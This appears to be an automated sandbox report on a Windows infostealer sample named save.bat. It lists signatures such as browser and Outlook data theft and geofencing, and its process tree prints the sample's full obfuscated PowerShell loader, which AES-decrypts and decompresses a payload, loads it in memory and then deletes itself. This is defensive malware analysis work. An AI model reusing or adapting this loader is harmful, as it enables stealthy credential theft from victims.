Analysis
- max time kernel
92s - max time network
140s - platform
windows10-2004_x64 - resource
win10v2004-20220812-en - resource tags
- submitted
08/12/2022, 09:21
General
- Target save.bat
- Size 121KB
- Sample221208-lbbqaace3s
- SHA256 3b76cb3ab031658b762892f0d4145498eee84da51d451c67c1ca642afd79add1
Malware Config
Signatures
- Executes dropped EXE 1 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Suspicious behavior: EnumeratesProcesses 10 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\save.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -noprofile -w hidden -ep bypass -c #2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\save.bat.exe"C:\Users\Admin\AppData\Local\Temp\save.bat.exe" -noprofile -ep bypass -c function yR($v){$v.Replace('@', '')}$Kh=yR 'Fro@mBa@se64@St@ri@ng@';$IZ=yR 'Spl@it@';$oS=yR 'R@e@a@dAll@Te@x@t@';$hn=yR 'Entr@yPo@int@';$bU=yR 'Ch@an@g@eEx@ten@s@io@n@';$qi=yR 'I@nv@ok@e@';$qJ=yR 'Get@Cu@r@r@e@ntP@ro@ces@s@';$Xu=yR 'Tra@ns@form@Fi@nal@Bloc@k@';$BY=yR 'C@r@ea@te@D@ecr@ypt@o@r@';$nX=yR 'Loa@d@';function nAwju($EukzE,$KnLgV,$DHvkN){$mNRTM=[System.Security.Cryptography.Aes]::Create();$mNRTM.Mode=[System.Security.Cryptography.CipherMode]::CBC;$mNRTM.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$mNRTM.Key=[System.Convert]::$Kh($KnLgV);$mNRTM.IV=[System.Convert]::$Kh($DHvkN);$XIotA=$mNRTM.$BY();$HuHEw=$XIotA.$Xu($EukzE,0,$EukzE.Length);$XIotA.Dispose();$mNRTM.Dispose();$HuHEw;}function GmSLK($EukzE){$ttBgS=New-Object System.IO.MemoryStream(,$EukzE);$bHGBk=New-Object System.IO.MemoryStream;$IttUw=New-Object System.IO.Compression.GZipStream($ttBgS,[IO.Compression.CompressionMode]::Decompress);$IttUw.CopyTo($bHGBk);$IttUw.Dispose();$ttBgS.Dispose();$bHGBk.Dispose();$bHGBk.ToArray();}function Gvvpt($EukzE,$KnLgV){[System.Reflection.Assembly]::$nX([byte[]]$EukzE).$hn.$qi($null,$KnLgV);}$cBaPI=[System.IO.File]::$oS([System.IO.Path]::$bU([System.Diagnostics.Process]::$qJ().MainModule.FileName, $null)).$IZ([Environment]::NewLine);$erUjZ=$cBaPI[$cBaPI.Length-1].Substring(2);$CYaoK=[string[]]$erUjZ.$IZ('\');$aOqoR=GmSLK (nAwju ([Convert]::$Kh($CYaoK[0])) $CYaoK[2] $CYaoK[3]);$YQHYd=GmSLK (nAwju ([Convert]::$Kh($CYaoK[1])) $CYaoK[2] $CYaoK[3]);Gvvpt $YQHYd $null;Gvvpt $aOqoR $null;2⤵
- Executes dropped EXE
- Checks computer location settings
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- outlook_office_path
- outlook_win_path
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -c "$a = [System.Diagnostics.Process]::GetProcessById(4900);$b = $a.MainModule.FileName;$a.WaitForExit();Remove-Item -Force -Path $b;"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
save.bat.exe
save.bat.exe
memory/2368-133-0x000001C1EB480000-0x000001C1EB4A2000-memory.dmp
memory/2368-134-0x00007FFE2FEB0000-0x00007FFE30971000-memory.dmp
memory/2368-146-0x00007FFE2FEB0000-0x00007FFE30971000-memory.dmp
memory/3424-150-0x00007FFE2FEB0000-0x00007FFE30971000-memory.dmp
memory/3424-145-0x00007FFE2FEB0000-0x00007FFE30971000-memory.dmp
memory/4900-142-0x00007FFE4DC70000-0x00007FFE4DE65000-memory.dmp
memory/4900-140-0x00007FFE4C820000-0x00007FFE4C8DE000-memory.dmp
memory/4900-139-0x00007FFE4DC70000-0x00007FFE4DE65000-memory.dmp
memory/4900-147-0x00007FFE2FEB0000-0x00007FFE30971000-memory.dmp
memory/4900-148-0x00007FFE4DC70000-0x00007FFE4DE65000-memory.dmp
memory/4900-149-0x00007FFE4C820000-0x00007FFE4C8DE000-memory.dmp
memory/4900-138-0x00007FFE2FEB0000-0x00007FFE30971000-memory.dmp